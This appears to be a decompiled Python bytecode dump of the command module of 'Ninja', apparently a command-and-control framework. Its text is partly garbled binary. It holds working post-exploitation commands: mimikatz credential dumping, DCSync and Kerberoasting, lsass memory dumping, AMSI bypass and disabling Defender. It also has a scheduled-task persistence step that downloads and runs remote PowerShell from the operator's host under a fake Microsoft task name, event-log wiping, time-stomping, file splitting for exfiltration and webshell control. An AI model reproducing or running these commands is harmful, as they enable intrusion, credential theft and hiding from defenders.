
    4i                         d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZ d dlmZ d dlmZ d d	lT d d	lT d d	lT d d
lmZ d dlmZ  e            Zd Z G d d          ZdS )    N)Console)box)Live)Table)config)	webserver)webshell)*)prettytable)callc                 n      fdt           j        D             }|t          |          k     r||         S d S )Nc                 >    g | ]}|                               |S  )
startswith).0itexts     /home/kali/Ninja/core/cmd.py
<listcomp>z%Command_Completer.<locals>.<listcomp>   s*    ===Q!,,t*<*<=q===    )cmdCOMMANDSlen)r   stateoptionss   `  r   Command_Completerr      s>    ====#,===Gs7||u~tr   c                   v   e Zd Zg dZddgddgddgdd	gd
dgddgddgddggZddgddgddgddgddgddgddgd d!gd"d#gd$d%gd&d'ggZd(d)gd*d+gd,d-gd.d/gd0d1gd2d3gd4d5gd6d7gd8d9gd:d;gd<d=gd>d?ggZd@dAgdBdCgdDdEgdFdGgdHdIgdJdKgdLdMgdNdOgdPdQgg	ZddSZddTZ	ddUZ
ddVZddWZddXZddYZddZZdd[Zdd\Zdd]Zdd^Zdd_Zdd`ZddaZddbZddcZdddZddeZddfZddgZddhZddiZddjZddkZ ddlZ!ddmZ"ddnZ#ddoZ$ddpZ%ddqZ&ddrZ'ddsZ(ddtZ)dduZ*ddvZ+ddwZ,ddxZ-ddyZ.ddzZ/dd{Z0dd|Z1dd}Z2dd~Z3dRS )r   )*exitshowresethelplistusedeletebackpayloadmodulesencode64gen_ntlmdrmDA	downloadsdownloadupload
set_beaconkerb	dumpcredsdcsync_adminsdcsync_list
dcsync_all
screenshotkill_all
delete_all
get_groups	get_users
bloodhounddis_amsiunamanged_powershellpersist_schtasksmigrateprocesslistsplitjoinwebshell_moderegister_webshellgenerate_webshell
time_stompclear_all_logslsass_memory_dumpr!   z	Help menur    zClear screenr%   zBack to the mainr   z%Exit the console , or kill the agent loadzload modulesr'   z3list all the Available modules in Modules directoryr&   zShow Payloadsr,   zlist downloaded filesr"   zList all agentsr#   zInteract with AGENTr6   zkill all agentsr$   zdelete agent from the listr7   zdelete all agents in the listr/   z&set the beacon interval live for agentr.   zupload files to the victimr-   zdownload file from the victimr5   z#take screenshot from victim machiner@   zsplit file to small size files for data exfiltration (use join command for files in current server or use join.ps1 script to join data on windows )rA   zmjoin splited file names ( include the original file name in the path and the script will know the file parts)r8   z$get all the groups user is member ofr9   z!get all the users member in groupr?   z3list processes formatted ( Name , ID , Commandline)r0   z7do kerberoast attack  and dump  service accounts hashesr4   z)do dcsync attack and get all users hashesr2   z$do dcsync attack against admin usersr1   z"load mimikatz and dump credentialsr3   z*do dcsync attack against custom user list r:   z:run bloodhound to collect all the information about the ADr+   zRun defense Analysis Moduler)   z%generate ntlm hash for given passwordrG   zQdump lsass memory without touching the disk then parse it and provide credentialsr(   zRencode any command to base64 encoded UTF-8 command ( can be decoded in powershell)r*   z>disable windows realtime monitoring - require admin privilegesunmanged_powershellz/run powershell payload through the dotnet agentr=   z persistence using schedule tasksr>   zmigrate to new process ( default nslookup ) to hide the backdoor , this command will only work if you enabled donut in campaign creation rB   z8enter webshell mode to register and control your shells)rC   zBregister webshell to be controlled : register_webshell <URL> <KEY>rE   zchange the ( access , modify , creation ) time of destination file as same as the source file ) . Usage time_stomp < source path > < destination path >rF   z<this command will clear all windows event logs in the systemNc                    t                               dd           t          j        D ]/}t                               d|d          d|d          d           0t                               d	d           t          j        D ]/}t                               d|d          d|d          d           0t                               d
d           t          j        D ]/}t                               d|d          d|d          d           0t                               dd           t          j        D ]/}t                               d|d          d|d          d           0t          d           d S )Nz
[-] Ninja management
z
bold whitestylez[blue]r   z:[/blue] [white]   z[/white]z
[-] Agents management
z
[-] Enumeration Commands
z
[-] Miscellaneous
 )consoleprintr   MAINAGENTS	ENUMERATEMISC)selfargscommands      r   r!   zcmd.helpz   s}   0EEEx 	U 	UGMMS71:SSwqzSSSTTTT1FFFz 	U 	UGMMS71:SSwqzSSSTTTT4LIII} 	U 	UGMMS71:SSwqzSSSTTTT-\BBBx 	U 	UGMMS71:SSwqzSSSTTTTb					r   c           	      d   t          j                    dk    rt          d           t          j                    dk    st           j        dk    rjt          j        d           dt           _        t          dd          5 }t          j        t           j        |           d d d            d S # 1 swxY w Y   d S t           j	        t          j                             
                    t          t           j        dt           j        t          j                             d         z                        d S )	Nmainr   r	   rN   z
.webshellswbkill    )r   get_pointerr   Implant_Typeset_pointeropenpickledump	WEBSHELLSCOMMANDappendencryptAESKeyrR   )rU   rV   fs      r   r   zcmd.exit   sD   6))GGG:--1D
1R1Rv&&&"$FlD)) 1QF,a0001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 N6-//077wv?Q?S?S1TUV1W'WXXZ Z Z Z Zs   > B++B/2B/c                     t           j        dk    rt                              |            d S t                              |            d S Nr	   )r   r^   r   list_webshellslist_agentsrU   rV   s     r   r"   zcmd.list   sB    *,,t$$$$$OOD!!!!!r   c                 H    t          t          j        dk    rdnd          }d S )Nposixclearcls)r   osname)rU   rV   _s      r   r    z	cmd.reset   s#    BGw..E::r   c                 >   t          j        t          j        dz   t          j        z   t          j        dz   t          j        z   t          j        dz   t          j        z   t          j        dz   t          j        z   t          j        dz   t          j        z   t          j        dz   t          j        z   t          j        dz   t          j        z   t          j        dz   t          j        z   t          j        d	z   t          j        z   g	          }d
|_        d|_        |                    g d           t          j	        D ]S}t          j
                    t          j        |         z
  }|                    t          j        t          t          j	        |         d                   z   t          j        z   |t          j	        |         d         t          j	        |         d         t          j	        |         d                             d          d         t          j	        |         d         t          j	        |         d         t          j	        |         d         dz   t          j	        |         d         z   t          j	        |         d         g	           Ut          |           d S )NIDStatus
ExternalIP
InternalIPOSArchComputerNameUsernamePIDFl)	--z------
----------r   r   ----z------------z--------r   r   rM         |         \   r\   )r   PrettyTablebcolorsBOLDENDCborderalignadd_rowr   rR   timeTIMEOKBLUEstrr@   rP   )rU   rV   tabler   statuss        r   rl   zcmd.list_agents   s   ')<w|)K)0)@7<)O)0)Dw|)S)0)Dw|)S)0)<w|)K)0)>)M)0)F)U)0
)BW\)Q)0)=)L)N O O     	  	  	   
	1 
	1AY[[6;q>1FMM7>Ca0@0C,D,DDw|S!!=+A.!=+A.!=+A.44S99!<!=+A.!=+A.!=+A.5a8H8KK!=+A.0 1 1 1 1 	er   c                    t          j                    dk    rot          |          dk     rd S |d         }t           j        D ]C}|t           j        |         d         k    r%|}t          j        |           dt           _         d S Dd S t          |          dk     rd S |d         }t           j        D ]P}|t          t           j        |         d                   k    r%|}t          j        |           dt           _         d S Qd S )Nr	   r   rM   r   agent)r   r]   r   rc   r_   r^   rR   r   )rU   rV   idr   s       r   r#   zcmd.use   s   :--4yy1}}aB%  )!,Q///B&q)))*4F'EE	 0  4yy1}}aB]  V]1-a01111B&q)))*1F'EE	 2 r   c                 F    t          j        d           dt           _        d S rj   )r   r_   r^   rm   s     r   rB   zcmd.webshell_mode   s!    :&&&(r   c           	      &   t          j                    dk    rt          j        d           t           j        D ]X}t           j        |                             t          t           j        dt           j        |         d         z                        Yd S )NrY   r[   r\   )r   r]   r_   rR   rd   re   rf   rg   rU   rV   r   s      r   r6   zcmd.kill_all   s    6))v&&& 	\ 	\AN1$$WV]GfmTUFVWXFY<Y%Z%Z[[[[	\ 	\r   c                     t          j                    dk    rt          j        d           t           j                                         dt
          _        d S )NrY   r   )r   r]   r_   rR   rp   r   COUNTrm   s     r   r7   zcmd.delete_all   sF    6))v&&&	r   c                    t          j                    dk    st           j        dk    rot          j        d           |d         }d}t           j        D ]/}|t          t           j        |         d                   k    r|} n0|dk    rt           j        |= d S t          j                    dk    rt          j        d           t          |          dk     rt          d           d S |d         }d}t           j        D ]/}|t          t           j        |         d                   k    r|} n0|dk    rt           j        |= d S d S )Nr	   rM   rN   r   rY   r   zdelete <id>)	r   r]   r^   r_   rc   r   r   rP   rR   )rU   rV   r   r	   r   r   s         r   r$   z
cmd.delete   sT   :--1D
1R1Rz***aBH%  V-a034444 HE 5 2~~$X.F6))v&&&t99q==-   F!W 	 	ASq)!,---- . B;;e$$$ ;r   c                     t           j        dk    rt          j        d           d S t          j        d           dt           _        d S )Nr	   rY   rN   )r   r^   r_   rm   s     r   r%   zcmd.back  sF    *,,z*****v&&&"$Fr   c                 z    t           j        D ]}t                              |d           t          d           d S )NgreenrK   rN   )r   PAYLOADSrO   rP   r   s      r   r&   zcmd.payload  s;     	, 	,AMM!7M++++b					r   c                 t   t          j                    dk    rt          d           d S t          d|d         z   d          }|                                }t           j        t          j                                                 t          t           j        |                     |	                                 d S )NrY   4you can't use this command in main ! choose an agentzModules/rM   r)
r   r]   rP   r`   readrd   re   rf   rg   close)rU   rV   fpmmodules       r   rH   zcmd.load  s    6))HIIIF:Q'--v)++,33GFM64R4RSSS		r   c                 F   t          j                    dk    rt          d           d S t          j                            t           j         d          r=t                              t           j         d          }|D ]}t          |           d S t          d           d S )NrY   r   z
/downloadsz%[-] downloads directory not Available)r   r]   rP   rr   pathisdircampaign_namelistdir)rU   rV   r,   files       r   r,   zcmd.downloads  s    6))HIIIF7==F0<<<== 	;

f&:#F#F#FGGI!  d  9:::::r   c                     t           j                            d          r@t                               d          }|D ]!}t                              d|z  d           "d S t                              dd           d S )NModulesz[red]->[/red] Module %sbluerK   z#[!] Modules directory not Availablered)rr   r   r   r   rO   rP   )rU   rV   r'   r   s       r   r'   zcmd.modules'  s    7==## 	Njj++G! O O8?vNNNNO O MM?uMMMMMMr   c                 J   t          |          dk    rd}d                    |dd                    }t          |           t          dt                              |                    d                                        d          z              d S t          d           d S )NrM   rN    zencoded command :  zUTF-16LEutf-8z<[-] please add your command as argument : encode64 <command>)r   rA   rP   base64	b64encodeencodedecode)rU   rV   b64s      r   r(   zcmd.encode64/  s    t99q==C ((48$$C#JJJ'&*:*:3::j;Q;Q*R*R*Y*YZa*b*bbcccccPQQQQQr   c                 D   t          |          dk    r}|d         }t          j        d|                    d                                                    }t          j        |          }t          d|                    d          z              d S t          d           d S )NrM   md4zutf-16lezNTLM Hash :  zUTF-8z>[-] please add your password as argument : gen_ntlm <password>)	r   hashlibnewr   digestbinasciihexlifyrP   r   )rU   rV   passwordhashs       r   r)   zcmd.gen_ntlm:  s    t99q==AwH;uhooj&A&ABBIIKKD#D))D/DKK$8$8899999RSSSSSr   c                    t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   +This command can only be used in agent modeload PowerView.ps1zload DA.ps1r   r]   rP   r^   rd   re   rf   rg   rm   s     r   r+   zcmd.DAC  s    6))HIIIF'))?@@@Fv)++,33GFMK_4`4`aaav)++,33GFM=4Y4YZZZZZr   c                 l   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   r   zload Find-PSServiceAccounts.ps1zload Invoke-Kerberoast.ps1zload kerb.ps1r   rm   s     r   r0   zcmd.kerbN  s    6))HIIIF'))?@@@Fv)++,33GFMKl4m4mnnnv)++,33GFMKg4h4hiiiv)++,33GFM?4[4[\\\\\r   c                    t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t          d           t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   r   z[grab some coffe this may take too long to finish if the domain admin users are more than 10load Invoke-Mimikatz.ps1z$users=(Get-ADGroupMember -Identity "Domain Admins").SamAccountName;For ($i=0; $i -le $users.Length; $i=$i+5) {echo $users[$i..($i+4)] | ForEach-Object  { $t='"lsadump::dcsync /user:rep"';$t=$t.replace("rep",$_);Invoke-Mimikatz -Command $t}}r   rm   s     r   r2   zcmd.dcsync_adminsZ  s    6))HIIIF'))?@@@Fklllv)++,33GFMKe4f4fgggv)++,33GFM =t5u 5u 	v 	v 	v 	v 	vr   c                 F   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        d                    dt           j	        t          j                             d                                        d S )	NrY   r   r   r   r   zGInvoke-Mimikatz -Command '"lsadump::dcsync /domain:{domain} /all /csv"'z{domain}r   )
r   r]   rP   r^   rd   re   rf   rg   replacerR   rm   s     r   r4   zcmd.dcsync_allf  s    6))HIIIF'))?@@@Fv)++,33GFMKe4f4fgggv)++,33GFM =J  =R  =R@JFMZ`ZlZnZnLopqLr=t =t5u 5u 	v 	v 	v 	v 	vr   c           	         t          j                    dk    rt          d           d S t           j        dk    rt          d           d S g }	 t	          |          dk     rt          d           d S t          d           t	          d                    |d	d                                        d
                    d	k    rFd                    |d	d                                        dd
                              dd
          }nit          |d	         d          }|	                                }|
                                 |                    dd
          }d                    |          }t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        d                    d|                               d S # t          $ r}t          |           Y d }~d S d }~ww xY w)NrY   r   r   r   r   z"Usage dcsunc_list <full file path>zNgrab some coffe this may take too long to finish if the users are more than 10r   rM   ,z, z ,r   
rN   r   z$users=("{users}").split(",");For ($i=0; $i -le $users.Length; $i=$i+5) {echo $users[$i..($i+4)] | ForEach-Object  { $t='"lsadump::dcsync /user:rep"';$t=$t.replace("rep",$_);Invoke-Mimikatz -Command $t}}z{users})r   r]   rP   r^   r   rA   r@   r   r`   r   r   rd   re   rf   rg   	Exception)rU   rV   userusersr"   es         r   r3   zcmd.dcsync_listr  s!   6))HIIIF'))?@@@F	4yy1}}:;;;bccc388DH%%++C0011A55abb**224==EEdCPPDGS))		

dC00N6-//077Oi8j8jkkkN6-//077 AR  AZ  AZDMuAV AV9W 9W X X X X X  	 	 	!HHHHHHHHH	s   "H" 1F/H" "
I,IIc                    t          j                    dk    rt          d           d S t           j        dk    rt          d           d S 	 t	          |          dk     rt          d           d S d                    |dd                    }t           j        t          j                                                 t          t           j	        d	                     d

                    d|          }t           j        t          j                                                 t          t           j	        |                     d S # t          $ r}t          |           Y d }~d S d }~ww xY w)NrY   r   r   r   r   zUsage get_groups <user name>r   rM   r   z(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$("{user}")))")).FindOne().GetDirectoryEntry().memberOfz{user}r   r]   rP   r^   r   rA   rd   re   rf   rg   r   r   )rU   rV   r   r   s       r   r8   zcmd.get_groups  sM   6))HIIIF'))?@@@F
	4yy1}}455588DH%%DN6-//077Oc8d8deee p  x  x$   DN6-//077t8T8TUUUUU 	 	 	!HHHHHHHHH	   "E  /CE   
E$
EE$c                    t          j                    dk    rt          d           d S t           j        dk    rt          d           d S 	 t	          |          dk     rt          d           d S d                    |dd                    }t           j        t          j                                                 t          t           j	        d	                     d

                    d|          }t           j        t          j                                                 t          t           j	        |                     d S # t          $ r}t          |           Y d }~d S d }~ww xY w)NrY   r   r   r   r   zUsage get_users <group name>r   rM   r   z2Get-DomainGroupMember -Identity "{group}" -Recursez{group}r   )rU   rV   groupr   s       r   r9   zcmd.get_users  sA   6))HIIIF'))?@@@F		4yy1}}4555HHT!""X&&EN6-//077Oc8d8deeeLTTU^`effEN6-//077u8U8UVVVVV 	 	 	!HHHHHHHHH	r   c                 *   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        dd                    d t          d	          D                       z                        d S )
NrY   r   r   r   zload SharpHound.ps1z?Invoke-BloodHound -CollectionMethod All -MemCache -ZipFileName rN   c                 V    g | ]&}t                               t          j                  'S r   randomchoicestringascii_uppercaser   r   s     r   r   z"cmd.bloodhound.<locals>.<listcomp>  s@     AK AK AKklvOeAfAf AK AK AKr   r   )
r   r]   rP   r^   rd   re   rf   rg   rA   rangerm   s     r   r:   zcmd.bloodhound  s   6))HIIIF'))?@@@Fv)++,33GFMK`4a4abbbv)++,33GFM<}  AC  AH  AHAK AKAFqAK AK AKAL AL =L5M 5M 	N 	N 	N 	N 	Nr   c                 4   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   r   z-Set-MpPreference -DisableRealtimeMonitoring 1r   rm   s     r   r*   zcmd.drm  s    6))HIIIF'))?@@@Fv)++,33FM#RSS	U 	U 	U 	U 	Ur   c                 4   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   r   zload AMSI_Bypass.ps1r   rm   s     r   r;   zcmd.dis_amsi  s    6))HIIIF'))?@@@Fv)++,33GFMKa4b4bcccccr   c                    t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   r   r   zHInvoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'r   rm   s     r   r1   zcmd.dumpcreds  s    6))HIIIF'))?@@@Fv)++,33GFMKe4f4fgggv)++,33FM#qrr	t 	t 	t 	t 	tr   c           	      X   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S d}t	          |          dk    r~t          d          }t	          |          dk    rF	 |d	k    rd
}nR|dk    rd}nI|dk    rd}n@|dk    rd}n7|dk    rd S n#  t          d           d}Y xxY wd}~t	          |          dk    ~t          rd}nd}t           j        t          j                                                 t          t           j
        d                    dt                                        dt                                        dt                                        d|                              d|                               d S )NrY   r   r   r   rN   r   zkplease enter schedule type ( hourly , daily , weekly , onstart) or type exit to exit the persistence modulerM   hourlyHourlydailyDailyonstartweeklyr   zyou entered wrong schedule typehttpshttpzschtasks /F /create /SC {freq} /RU "NT Authority\SYSTEM" /TN "\Microsoft\Windows\UpdateOrchestrators\AC Power install" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''{HTTP}://{ip}:{port}{payload}''')'"{ip}{port}z	{payload}{HTTP}z{freq})r   r]   rP   r^   r   inputSSLrd   re   rf   rg   r   HOSTPORTraw_payload)rU   rV   CCfreqr   s        r   r=   zcmd.persist_schtasks  s   6))HIIIF'))?@@@F"ggll} B2ww{{X~~'W}}&Y(X~~'V|| $;<<<BH3 "ggll4  	DDDv)++,33GFM =j  =r  =r@F=N =NNUgV^`dNeNefmfm@K[gZ gZZaZabjbf[h [hhoho@H$iP iP	5Q 5Q 	R 	R 	R 	R 	Rs$   B/ B/ B/ B/ &B/ /Cc                    t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t	          dd          }|                                }|                                 t          r{|                    dt                                        dt                                        d	t                                        d
t                                        dd          }nz|                    dt                                        dt                                        d	t                                        d
t                                        dd          }t	          dd          }|                    |           |                                 t           j        t          j                                                 t!          t           j        d                     t           j        t          j                                                 t!          t           j        d                     d S )NrY   r   r   r   zcore/agents/screenshot.ninjar   r   r   z{image}z{cmd}r   r   r   zModules/screenshot.ps1wzload screenshot.ps1zscr  -test 0 )r   r]   rP   r^   r`   r   r   r   r   r   r   	image_urlcommand_urlwriterd   re   rf   rg   rU   rV   rh   r&   s       r   r5   zcmd.screenshot  s   6))HIIIF'))?@@@F/55&&((				 	@oofd33;;HdKKSST]_hiiqq& &&-gh&@&@ G oofd33;;HdKKSST]_hiiqq& &&-gh&?&? )3//					v)++,33GFMK`4a4abbbv)++,33GFM?4[4[\\\\\r   c                    t          j                    dk    rt          d           d S t           j        dk    r=t	          j        t          j        t           j        t           j	                 |f           d S t          dd          }|                                }|                                 t          dk    rb|                    dt                                        dt                                         d	t"                                        d
d          }na|                    dt                                        dt                                         d	t"                                        d
d          }t          dd          }|                    |           |                                 t           j        t          j                                                 t+          t           j        d                     t           j        t          j                                                 t+          t           j        d|d         z   dz                        d S )NrY   r   r	   zcore/agents/upload.ninjar   Tr   r   z{upload}r   r   r   zModules/upload.ps1r   zload upload.ps1zup -filename "rM   ")r   r]   rP   r^   _threadstart_new_threadr	   upload_filerc   POINTERr`   r   r   r   r   r   r   
upload_urlr   rd   re   rf   rg   r   s       r   r.   z
cmd.upload!  s   6))HIIIF*,,$X%9F<LV^<\^b;deeeee/55AffhhGGGIIId{{!//&$77??$OOWWXbdnoowwg' ' "//&$77??$OOWWXbdnoowwf& &)3//AGGGGGIIIN6-//077O`8a8abbbN6-//077O`cghicjOjmqOq8r8rsssssr   c                    t          j                    dk    rt          d           d S t           j        dk    r=t	          j        t          j        t           j        t           j	                 |f           d S t          dd          }|                                }|                                 t          rb|                    dt                                        dt                                         dt"                                        d	d
          }na|                    dt                                        dt                                         dt"                                        d	d          }t          dd          }|                    |           |                                 t           j        t          j                                                 t+          t           j        d                     t           j        t          j                                                 t+          t           j        d|d         z   dz                        d S )NrY   r   r	   zcore/agents/download.ninjar   r   r   z
{download}r   r   r   zModules/download.ps1r   zload download.ps1zdn -filename "rM   r  )r   r]   rP   r^   r  r  r	   download_filerc   r  r`   r   r   r   r   r   r   download_urlr   rd   re   rf   rg   r   s       r   r-   zcmd.download7  s   6))HIIIF*,,$X%;f>Nv~>^`d=fggggg 1377AffhhGGGIII v!//&$77??$OOWWXdXdf ffmfmnvnugw gw  "//&$77??$OOWWXdXdf ffmfmnvntgv gv  +S11AGGGGGIIIN6-//077Ob8c8cdddN6-//077O`cghicjOjmqOq8r8rsssssr   c                 F   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d|d         z                        d S )NrY   r   r   r   z
$exchange=rM   r   rm   s     r   r/   zcmd.set_beaconQ  s    6))HIIIF'))?@@@Fv)++,33GFM<Z^_`ZaKa4b4bcccccr   c                 4   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   r   zloadpsh payload-obf.ps1r   rm   s     r   r<   zcmd.unamanged_powershell[  s    6))HIIIF'))?@@@Fv)++,33GFMKd4e4efffffr   c           	      \   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        st          d           d S t
                              d          }t          dd	          }|                                }|	                    d
t                              |                              d                    	                    dd                    d t          d          D                                 }t          dd          }|                    |           |                                 t           j        t          j                                                 t'          t           j        d                     d S )NrY   r   r   r   zAyou can't run this command as Donut disabled in campaign creationz)utils/payloads/Executables/dropper_cs.exe)r   zcore/agents/Migrator.ninjar   z{shellcode}r   z{class}rN   c                 V    g | ]&}t                               t          j                  'S r   r   r   s     r   r   zcmd.migrate.<locals>.<listcomp>t  s'    EEEqV]]6122EEEr   r   zModules/Migrator.ps1r   zload Migrator.ps1)r   r]   rP   r^   Donutdonutcreater`   r   r   r   r   r   rA   r   r   r   rd   re   rf   rg   )rU   rV   	shellcodefptempoutputs         r   r>   zcmd.migratee  ss   6))HIIIF'))?@@@F| 	UVVVFLL&QLRR	.44wwyy||M6+;+;I+F+F+M+Mg+V+VWW__`ikmkrkrEEE!HHEEElG lG H H,c22Tv)++,33GFMK^4_4_`````r   c                 4   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S t           j        t          j                                                 t          t           j        d                     d S )NrY   r   r   r   z_Get-WmiObject Win32_Process  | select Name,ProcessId,CommandLine | Format-Table -Wrap -AutoSizer   rm   s     r   r?   zcmd.processlistz  s    6))HIIIF'))?@@@Fv)++,33GFM =^5_ 5_ 	` 	` 	` 	` 	`r   c           	      p   t          j                    dk    rt          d           d S t           j        dk    rt          d           d S d}t	          |          dk     rt          d           d S d                    |d	d                    }t	          |          d
k    rdt          d          }t	          |          d
k    r,	 t          |          dz  }n#  t          d           d}Y ^xY wd}dt	          |          d
k    dt           j        t          j                             	                    t          t           j        d                     t           j        t          j                             	                    t          t           j        d|z   dz   t          |          z                        d S )NrY   r   r   r   rN   r   zUsage split <full file path>r   rM   r   z"please enter the split size in MB i   zError reading the size providedzload split.ps1zsplit -path z -chunksize )r   r]   rP   r^   r   rA   r   intrd   re   rf   rg   r   )rU   rV   MBr   Bytess        r   r@   z	cmd.split  s   6))HIIIF'))?@@@Ft99q==0111FxxQRR!!"ggll;<<B2ww{{GGy1EE;<<<BH "ggll 	v)++,33GFMK[4\4\]]]v)++,33FM>D#8>#ICPUJJ#VWW	Y 	Y 	Y 	Y 	Ys   C C+c                    t           j        dk    rt          d           d S t          |          dk     rt          d           d S d                    |dd                    }t
                              |dz             }t                              |           t          |          dk    rt          d	           d S t          |d
          5 }|D ]Q}t          |d          5 }|	                    |
                                           d d d            n# 1 swxY w Y   R	 d d d            n# 1 swxY w Y   |                                 d S )Nr   r   r   zEUsage join <full Dir path with original file name at the end of path>r   rM   z.*.partr   z=No files found check the path provided and original file namerZ   rb)r   r^   rP   r   rA   globr"   sortr`   r   r   r   )rU   rV   r   	filenamesoutfilenamesinfiles          r   rA   zcmd.join  s   '))?@@@Ft99q==YZZZFxxQRR!!IIdY.//			)y>>QQRRRF$ 	1" 1 1%&& 1&MM&++--0001 1 1 1 1 1 1 1 1 1 1 1 1 1 11	1 	1 	1 	1 	1 	1 	1 	1 	1 	1 	1 	1 	1 	1 	1
 	s6   D0#(DD0DD0DD00D47D4c                    t          j                    dk    rt          d           d S t          |          dk     rt          d           d S |d         }|d         }dt           _        t           j        D ]}t           j        dz   t           _        t           j                            t           j        t          t           j        dz             ||gi           t           j        dz   t           _        d S )Nr	   z0you can only use this command in webshell mode !r   z#Usage register_webshell <URL> <Key>rM   r   r   )r   r]   rP   r   WEBSHELL_COUNTrc   updater   )rU   rV   URLKEYr   s        r   rC   zcmd.register_webshell  s    :--DEEEFt99q==7888F1g1g !! 	> 	>A$*$9A$=F!!!6V=RUV=V9W9WY\^a8b cddd & 5 9r   c                     t          j        g d          }t          j        D ])}t          j        |         }|                    |           *t          |           d S )N)r   r&  r'  )r   r   r   rc   r   rP   )rU   rV   tr   r   s        r   rk   zcmd.list_webshells  s\    #$8$8$899! 	 	A$Q'EIIear   c                 ,    t          j                     d S N)r	   rD   rm   s     r   rD   zcmd.generate_webshell  s    "$$$$$r   c                    t           j        dk    rit          j                    dk    rRt          j                    dk    r;t          j        t
          j        t           j        t           j                 |f           t           j        dk    rt          j                    dk    rt          j                    dk    rt          |          dk     rt          d           d S d}|                    d|d                                       d	|d
                   }t           j        t          j                                                 t          t           j        |                     d S d S d S d S )Nr	   rY   r   r   zUsage : time_stomp <path of the file you want to have same ( access , modify , creation ) date > < destination file to edit its date >z$(Get-item {Dest_Path}).creationtime=$(Get-item {Src_Path} ).creationtime;$(Get-item {Dest_Path}).lastaccesstime=$(Get-item {Src_Path} ).lastaccesstime;$(Get-item {Dest_Path}).lastwritetime=$(Get-item {Src_Path} ).lastwritetimez
{Src_Path}rM   z{Dest_Path}r   )r   r^   r]   r  r  r	   rE   rc   r  r   rP   r   rd   re   rf   rg   )rU   rV   Commandss      r   rE   zcmd.time_stomp  sF   *,,1C1E1E1S1SX^XjXlXlpvXvXv$X%86;KFN;[]a:cddd'))f.@.B.Bj.P.PU[UgUiUimsUsUs4yy1}} ]^ ^ ^ A#++L$q'BBJJ=Z^_`Zabbv1334;;GFMS[<\<\]]]]] *).P.PUsUsr   c                    t           j        dk    rt          j                    dk    rt          j                    dk    rxt          j        t
          j        t           j        t           j                 dgf           t          j        t
          j        t           j        t           j                 dgf           t           j        dk    r~t          j                    dk    rit          j                    dk    rTt           j	        t          j                             
                    t          t           j        d                     d S d S d S d S )Nr	   rY   z!wevtutil cl "Windows PowerShell" z2for /f %x in ('wevtutil el') do (wevtutil cl "%x")r   zIwevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"})r   r^   r]   r  r  r	   webshell_executerc   r  rd   re   rf   rg   rm   s     r   rF   zcmd.clear_all_logs  s7   *,,1C1E1E1S1SX^XjXlXlpvXvXv$X%>&,&6v~&FIpHq%su u u$X%> 03k2lAo p p p '))f.@.B.Bj.P.PU[UgUiUimsUsUs N6-//077'vwwy y y y y *).P.PUsUsr   c           	         t          j                    dk    rt          d           d S t           j        dk    rt          d           d S 	 t	          dd          }|                                }|                    dd                    d	 t          d
          D                                 }t	          dd          }|	                    |           |
                                 t           j        t          j                                                 t          t           j        d                     d S #  t          d           Y d S xY w)NrY   r   r   r   zModules/safetydump.ninjar   z{CLASS}rN   c                 V    g | ]&}t                               t          j                  'S r   r   r   s     r   r   z)cmd.lsass_memory_dump.<locals>.<listcomp>  s(    3l3l3l^_FMM&BX4Y4Y3l3l3lr   r   zModules/SafetyDump.ps1r   zload SafetyDump.ps1zError in lsass_memory_dump)r   r]   rP   r^   r`   r   r   rA   r   r   r   rd   re   rf   rg   )rU   rV   r  r  r  s        r   rG   zcmd.lsass_memory_dump  s-   6))HIIIF'))?@@@F		00#66B7799D<<	2773l3lchijckck3l3l3l+m+mnnD2C88FLLLLNNNN6-//077Od8e8efffff	0.//////s   C+D8 8Er+  )4__name__
__module____qualname__r   rQ   rR   rS   rT   r!   r   r"   r    rl   r#   rB   r6   r7   r$   r%   r&   rH   r,   r'   r(   r)   r+   r0   r2   r4   r3   r8   r9   r:   r*   r;   r1   r=   r5   r.   r-   r/   r<   r>   r?   r@   rA   rC   rk   rD   rE   rF   rG   r   r   r   r   r   "   s       )% )% )%HV [!n%'(<=^$MN(124D ()+,,-56<=EF56:;BC  n  o  G  H
IF  FGBC!VWST KL!#IJCD!MN \]56EF%'z{}I mnTU"$UV!CD  d  eXY "fg  u  v]^`D   &Z Z Z Z" " " "; ; ; ;! ! ! !F   ,) ) ) )\ \ \ \   % % % %4% % % %   
   	; 	; 	; 	;N N N N	R 	R 	R 	RT T T T	[ 	[ 	[ 	[
] 
] 
] 
]
v 
v 
v 
v
v 
v 
v 
